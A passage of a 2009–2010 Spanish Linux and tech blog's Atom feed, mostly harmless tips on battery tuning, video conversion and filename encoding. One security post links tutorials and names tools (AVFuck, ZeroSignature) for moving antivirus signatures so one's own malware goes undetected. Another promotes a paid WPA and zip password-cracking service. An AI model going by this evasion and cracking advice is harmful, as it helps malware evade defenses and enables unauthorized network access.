down&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar la tarjeta inalambrica: rmmod ath9k&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshailitar la tarjeta de red: rmmod forcedeth&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Modificar el archivo /etc/fstab para que nos monte las particiones de tal forma que no guarde los datos del último acceso a los ficheros: mount -o remount,noatime   /&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Optimizar los buffers de escritura al disco teniendo en cuenta que se trata de un portatil(esperará a tener mas datos pendientes para realizar el acceso al HD):                  echo 5 &gt; /proc/sys/vm/laptop_mode&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Syslog usa sync despues de cada evento para que se escriva ya!! la info al HD, se puede evitar esto y dejar que se encargue la opción anterior cuando crea que es necesario editando /etc/syslog.conf.                                                                                                    Buscamos la línea:                                                                   *.info;mail.none;authpriv.none;cron.none        /var/log/messages                                      Dejandola así:                                                                          *.info;mail.none;authpriv.none;cron.none        -/var/log/messages&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar el montaje automatico del cd:                                                                                 hal-disable-polling --device /dev/scd0&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar Wake Up On Lan desde la BIOS.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Bajar el brillo del monitor.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Quitar la retroiluminación del teclado.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Gran parte de esta información ha sido extraida de la web: &lt;a href="http://www.lesswatts.org/index.php"&gt;http://www.lesswatts.org/index.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dejo un &lt;a href="http://www.divshare.com/download/10175676-cfe"&gt;script&lt;/a&gt; que nos deshabilitará el Bluetooth la wireless y la tarjeta de red, nos ajustará los parametros del Disco Duro y nos deshabilitará el automontado del DVD.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA:&lt;br /&gt;&lt;br /&gt;Para habilitar el montaje automático del cd:&lt;br /&gt;hal-disable-polling --device /dev/scd0 --enable-polling&lt;br /&gt;&lt;br /&gt;Finalmente comentar que he pasado de 1h 50min de autonomía a 2h 40min simplemente ajustando la velocidad del micro a 1.6GHz, ejecutando el script, editando el archivo fstab y reduciendo un poco el brillo del monitor, supongo que si modificase ademas el syslog aumentaría un poco mas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2717782609914518848?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2717782609914518848/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2717782609914518848' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2717782609914518848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2717782609914518848'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/optimizar-bateria-portatil-en-linux.html' title='Optimizar bateria portatil en Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S0-fg3O1m6I/AAAAAAAAASQ/ilYeJSTeyiA/s72-c/gpm-primary-charging.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-224733723531344280</id><published>2010-01-09T17:54:00.003+01:00</published><updated>2010-01-09T17:56:34.330+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Avatar creada con más de 4.000 servidores Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S0i1MtclMVI/AAAAAAAAASI/-KQPeDptRVw/s1600-h/ManyEmperors_LinuxCluster.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 150px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S0i1MtclMVI/AAAAAAAAASI/-KQPeDptRVw/s200/ManyEmperors_LinuxCluster.jpg" alt="" id="BLOGGER_PHOTO_ID_5424784981130293586" border="0" /&gt;&lt;/a&gt;Avatar fué creada en gran parte en los estudios neozelandeses de &lt;a href="http://www.wetafx.co.nz/"&gt;Weta Digital&lt;/a&gt;, que con su &lt;em&gt;datacenter&lt;/em&gt; de más de &lt;strong&gt;4300&lt;/strong&gt; servidores &lt;a href="http://h10010.www1.hp.com/wwpc/us/en/sm/WF05a/3709945-3709945-3328410-241641-3722790-3707371.html"&gt;HP Proliant BL2×220c G5&lt;/a&gt; contribuyó a producir los impresionantes efectos y secuencias visuales generados por computadoras del film.  &lt;p&gt;En total sumaron &lt;strong&gt;40.000 procesadores&lt;/strong&gt; con &lt;strong&gt;104 Terabytes de RAM&lt;/strong&gt; funcionando 24 hrs. al día, procesando de 7 a 8 Gigabytes de datos &lt;em&gt;por segundo&lt;/em&gt; y produciendo 17,8 Gb por cada minuto de la película. Todo en un &lt;a href="http://es.wikipedia.org/wiki/Cluster_de_computadores"&gt;clúster&lt;/a&gt; Linux que actualmente ocpupa el &lt;a href="http://www.top500.org/system/details/10042"&gt;puesto 193&lt;/a&gt; del ránking de las 500 supercomputadoras más rápidas del mundo y para el que se tuvo que construir un sistema de refrigeración con agua, ya que los sistemas convencionales de pisos elevados y refrigeración por aire no pudieron controlar el calor que producía.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-224733723531344280?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/224733723531344280/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=224733723531344280' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/224733723531344280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/224733723531344280'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/avatar-creada-con-mas-de-4000.html' title='Avatar creada con más de 4.000 servidores Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S0i1MtclMVI/AAAAAAAAASI/-KQPeDptRVw/s72-c/ManyEmperors_LinuxCluster.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1334457058646746373</id><published>2010-01-09T17:41:00.004+01:00</published><updated>2010-01-09T17:56:45.982+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Saltarse el antivirus por la patilla.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/S0i0GRzMYoI/AAAAAAAAASA/G1B6iGo7q_8/s1600-h/intel-hacker.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 146px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/S0i0GRzMYoI/AAAAAAAAASA/G1B6iGo7q_8/s200/intel-hacker.jpg" alt="" id="BLOGGER_PHOTO_ID_5424783771118101122" border="0" /&gt;&lt;/a&gt;Buenas fieles lectores, en esta ocasión voy a dejar dos manuales que haran las delicias de mas de uno, son dos tutoriales de como emplear varias herramientas para localizar las firmas que buscan los antivirus y luego moverlas de sitio para que nuestras criaturas sean indetectables.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.divshare.com/download/10100192-9e2"&gt;Primero&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.divshare.com/download/10100207-092"&gt;Segundo&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;Mucho cuidado al usar AVFuck ya que consume muchísimo espacio en disco, de todos modos con AVFuck a veces he tenido problemas, yo personalmente prefiero emplear ZeroSignature aunque sea un proceso mas pesado.&lt;br /&gt;&lt;br /&gt;Y sobretodo no hagais el mal que os conozco!!! jejejejeje&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1334457058646746373?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1334457058646746373/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1334457058646746373' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1334457058646746373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1334457058646746373'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/saltarse-el-antivirus-por-la-patilla.html' title='Saltarse el antivirus por la patilla.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/S0i0GRzMYoI/AAAAAAAAASA/G1B6iGo7q_8/s72-c/intel-hacker.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-5137662238979601743</id><published>2010-01-05T14:49:00.002+01:00</published><updated>2010-01-05T14:53:18.681+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Bonito enlace con el que acojonar a la peña</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/S0NEOFo3KXI/AAAAAAAAAR4/arpgDM9LUYA/s1600-h/921Ex250y200.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 155px; height: 153px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/S0NEOFo3KXI/AAAAAAAAAR4/arpgDM9LUYA/s200/921Ex250y200.jpg" alt="" id="BLOGGER_PHOTO_ID_5423253385106631026" border="0" /&gt;&lt;/a&gt;En esta &lt;a href="http://www.orkspace.net/owned/"&gt;imagen&lt;/a&gt; podemos observar como se lanza un exploit contra nuestra ip pública y como adquieren privilegios de root en nuestro sistema, jajajaja!!!!!!!!&lt;br /&gt;Seguro que mas de uno no sabe seguro si es real o un montaje.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-5137662238979601743?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/5137662238979601743/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=5137662238979601743' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5137662238979601743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5137662238979601743'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/bonito-enlace-con-el-que-acojonar-la.html' title='Bonito enlace con el que acojonar a la peña'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/S0NEOFo3KXI/AAAAAAAAAR4/arpgDM9LUYA/s72-c/921Ex250y200.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3484867023593699632</id><published>2009-12-17T19:02:00.004+01:00</published><updated>2009-12-29T08:01:32.702+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux(Android) en consola portátil</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/Syp0bG3eRwI/AAAAAAAAAQ8/XlqzZISpo30/s1600-h/dev1.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 143px; height: 127px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/Syp0bG3eRwI/AAAAAAAAAQ8/XlqzZISpo30/s200/dev1.gif" alt="" id="BLOGGER_PHOTO_ID_5416269510915016450" border="0" /&gt;&lt;/a&gt;Curiosa noticia, una consola al estilo GP2X. La Odroid lleva en su interior Android(kernel-2.6.27), esta consola está pensada tanto para el usuario normal como para desarroladores, lleva varias herramientas para desarrollo, además las aplicaciones que se desarrollen para esta consola pueden ser portadas a teléfonos moviles.&lt;br /&gt;&lt;br /&gt;La consola viene equipada con:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Microprocesador: Samsung Cortex-A8 833 Mhz&lt;/li&gt;&lt;li&gt;RAM: 512 MB DDR2&lt;/li&gt;&lt;li&gt;Ranura SDHC&lt;/li&gt;&lt;li&gt;Pantalla capacitiva resolución de 320x480 píxeles&lt;/li&gt;&lt;li&gt;Salida de vídeo vía HDMI 720p&lt;/li&gt;&lt;li&gt;USB 2.0&lt;/li&gt;&lt;li&gt;Bluetooth&lt;/li&gt;&lt;li&gt;WiFi&lt;/li&gt;&lt;li&gt;Acelerómetro incorporado&lt;/li&gt;&lt;/ul&gt;Nos podemos hacer con un ejemplar en esta &lt;a href="http://www.hardkernel.com/"&gt;página&lt;/a&gt; por tan solo 350 dolares.&lt;br /&gt;En el pack viene incluida una placa de depurado, dos baterias, una tarjeta microSD de 2GB, otra SDHC de 8GB y hasta los esquemas elctrónicos de la consola.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3484867023593699632?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3484867023593699632/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3484867023593699632' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3484867023593699632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3484867023593699632'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/12/linuxandroid-en-consola-portatil.html' title='Linux(Android) en consola portátil'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/Syp0bG3eRwI/AAAAAAAAAQ8/XlqzZISpo30/s72-c/dev1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7842564496725926359</id><published>2009-12-17T18:48:00.006+01:00</published><updated>2011-11-22T20:28:45.175+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Sacando password red WPA soltando la pasta.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sypxvdoi6MI/AAAAAAAAAQ0/oDSF5HLK8D8/s1600-h/94D8x580y1000.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 160px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sypxvdoi6MI/AAAAAAAAAQ0/oDSF5HLK8D8/s200/94D8x580y1000.jpg" alt="" id="BLOGGER_PHOTO_ID_5416266562088921282" border="0" /&gt;&lt;/a&gt;Si sois usuarios de portátil quizás no os haga gracia el tener el equipo mucho tiempo encendido, pero hay ciertas tareas que requieren invertir tiempo de CPU para llevarlas a cabo.&lt;br /&gt;El crackeo de una clave WPA puede ser una de estas tareas, ahora por un módico precio podemos evitar el chamuscar nuestra CPU.&lt;br /&gt;Se trata de un cluster de varios equipos los cuales suman un total de 400 microprocesdores, todo ello combinado con un super diccionario de 135 millones de palabras. Se puede optar por alquilar el cluster por 34 dolares o solo la mitad de equipos por 17.&lt;br /&gt;Como ya sabemos esto no nos garantiza que la clave esté incluida dentro de este diccionario con lo que cabe la posibilidad de pagar para nada ;(&lt;br /&gt;En fin me pareció interesante comentarlo aquí aunque creo que sería mejor alquilar el cluster por tiempo y poder elegir si se quiere romper la clave por diccionario o por fuerza bruta, jejejeje, o al menos poder elegir los diccionarios a emplear, por temáticas o por idiomas.&lt;br /&gt;&lt;br /&gt;Además ofrecen otro servicio de crackeo de zips protegidos por password.&lt;br /&gt;&lt;br /&gt;Casi se me olvida, la página es &lt;a href="http://www.wpacracker.com/index.html"&gt;esta&lt;/a&gt;.&lt;br /&gt;Hasta la próxima amigos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7842564496725926359?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7842564496725926359/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7842564496725926359' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7842564496725926359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7842564496725926359'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/12/sacando-password-red-wpa-soltando-la.html' title='Sacando password red WPA soltando la pasta.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/Sypxvdoi6MI/AAAAAAAAAQ0/oDSF5HLK8D8/s72-c/94D8x580y1000.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7391462511115432626</id><published>2009-11-14T23:20:00.005+01:00</published><updated>2009-12-29T08:03:17.036+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Convertir videos para ser visualizados en Nokia 5800</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sv8u6XH8IoI/AAAAAAAAAQk/v1LBbwtFnko/s1600-h/firmchucktrueeol3tu4.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 197px; height: 45px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/Sv8u6XH8IoI/AAAAAAAAAQk/v1LBbwtFnko/s200/firmchucktrueeol3tu4.png" alt="" id="BLOGGER_PHOTO_ID_5404089658042491522" border="0" /&gt;&lt;/a&gt;El Nokia 5800 solo soporta la reproducción de video en mp4 y la gran mayoría de películas que nos bajamos suelen estar en divx o Xvid, por ese motivo es necesaria una conversión(que religioso me ha quedado eso), en fin a lo que ibamos.&lt;br /&gt;&lt;br /&gt;Tan solo hay que ejecutar el siguiente comando y esperar a que finalice:&lt;br /&gt;ffmpeg -i "video" -f mp4 -vcodec mpeg4 -b 409000 -r 25 -s 640x360 -acodec libfaac -ar 22050 -ab 32 -ac 2 "salida.mp4"&lt;br /&gt;&lt;br /&gt;Por supuesto tendremos que tener ffmpeg y los codecs necesarios instalados en el sistema para llevar a cabo la conversión sin problemas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7391462511115432626?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7391462511115432626/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7391462511115432626' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7391462511115432626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7391462511115432626'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/11/convertir-videos-para-ser-visualizados.html' title='Convertir videos para ser visualizados en Nokia 5800'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/Sv8u6XH8IoI/AAAAAAAAAQk/v1LBbwtFnko/s72-c/firmchucktrueeol3tu4.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-8853034358306618398</id><published>2009-11-14T12:55:00.003+01:00</published><updated>2009-12-29T08:03:34.196+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Solucionar problemas de codificación.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sv6fREs_INI/AAAAAAAAAQU/r2VfKZU5yuw/s1600-h/Neo_Matrix3D_big02.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 182px; height: 137px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sv6fREs_INI/AAAAAAAAAQU/r2VfKZU5yuw/s200/Neo_Matrix3D_big02.jpg" alt="" id="BLOGGER_PHOTO_ID_5403931718560194770" border="0" /&gt;&lt;/a&gt;El uso de varios sistemas operativos suele acarrear problemas de compatibilidad entre ellos, por ejemplo entre Linux y Windows.&lt;br /&gt;Hay ficheros con nombres que tienen acentos y estos al pasarlos a Linux se traducen en símbolo extraños y muchas veces nos comporta ciertos problemas al tratar de copiarlos.&lt;br /&gt;&lt;br /&gt;Para este fin se ideó convmv:&lt;br /&gt;apt-get install convmv&lt;br /&gt;&lt;br /&gt;Ahora tan solo hay que ejecutar la siguiente orden:&lt;br /&gt;&lt;code class="jscript plain"&gt;convmv -f windows-1252 -t utf-8 -r --notest "directorio"&lt;br /&gt;&lt;br /&gt;Con esto lo que estamos haciendo es pasar de codificación Windows a UTF-8 de forma recursiva y aplicar los cambios directamente sin test.&lt;br /&gt;&lt;br /&gt;Ahora ya podremos copiar los ficheros sin problemas.&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-8853034358306618398?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/8853034358306618398/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=8853034358306618398' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8853034358306618398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/8853034358306618398'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/11/solucionar-problemas-de-codificacion.html' title='Solucionar problemas de codificación.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/Sv6fREs_INI/AAAAAAAAAQU/r2VfKZU5yuw/s72-c/Neo_Matrix3D_big02.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-9156452137265758188</id><published>2009-11-14T12:39:00.005+01:00</published><updated>2009-12-29T08:05:27.996+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Extraer audio de una película con AviDemux y Audacity</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sv6aFPnH8nI/AAAAAAAAAQM/xisduafACCU/s1600-h/VideosIcon.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 200px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/Sv6aFPnH8nI/AAAAAAAAAQM/xisduafACCU/s200/VideosIcon.png" alt="" id="BLOGGER_PHOTO_ID_5403926017771827826" border="0" /&gt;&lt;/a&gt;En muchas ocasiones he oído una canción, frase o algo que me ha llamado la atención de una película y que me gustaría tener un mp3 de esa frase, pero no sabía como extraer el audio de una determinada parte del video desde Linux.&lt;br /&gt;Gracias a AviDemux esto ha cambiado, como siempre el primer paso será instalar el software:&lt;br /&gt;apt-get install avidemux&lt;br /&gt;&lt;br /&gt;Una vez instalado arrancamos la aplicación y seguimos los siguientes pasos:&lt;br /&gt;Archivo --&gt; Abrir&lt;br /&gt;&lt;br /&gt;Nos posicionamos en el momento que queremos empezar a grabar.&lt;br /&gt;Seleccion: comenzar&lt;br /&gt;&lt;br /&gt;Nos posicionamos en el momento que queremos acabar de grabar.&lt;br /&gt;Seleccion: end&lt;br /&gt;&lt;br /&gt;Guardamos el audio:&lt;br /&gt;Audio --&gt; Guardar&lt;br /&gt;&lt;br /&gt;Si la grabación no ha quedado todo lo ajustada que deseamos podemos emplear audacity para recortar con mas precisión.&lt;br /&gt;apt-get install audacity&lt;br /&gt;&lt;br /&gt;Este software es muy fácil de usar, con la herramienta de selección podemos recortar el audio en el momento que nos interese, luego lo pegamos en un fichero de audio nuevo:&lt;br /&gt;Archivo --&gt; Nuevo&lt;br /&gt;Pistas --&gt; Añadir Nueva --&gt; Pista estereo&lt;br /&gt;&lt;br /&gt;Pegamos y luego Archivo --&gt; Exportar&lt;br /&gt;&lt;br /&gt;Lo guardamos como "fichero".mp3&lt;br /&gt;&lt;br /&gt;Si el audio está muy bajo podemos subirlo con la utilidad mp3gain.&lt;br /&gt;apt-get install mp3gain&lt;br /&gt;&lt;br /&gt;Para aumentar el volumen:&lt;br /&gt;mp3gain -g "factor del 0 al 9"&lt;br /&gt;&lt;br /&gt;Con esto ya lo tendríamos todo hecho, fácil y rápido que mas se puede pedir.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-9156452137265758188?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/9156452137265758188/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=9156452137265758188' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/9156452137265758188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/9156452137265758188'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/11/extraer-audio-de-una-pelicula-con.html' title='Extraer audio de una película con AviDemux y Audacity'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 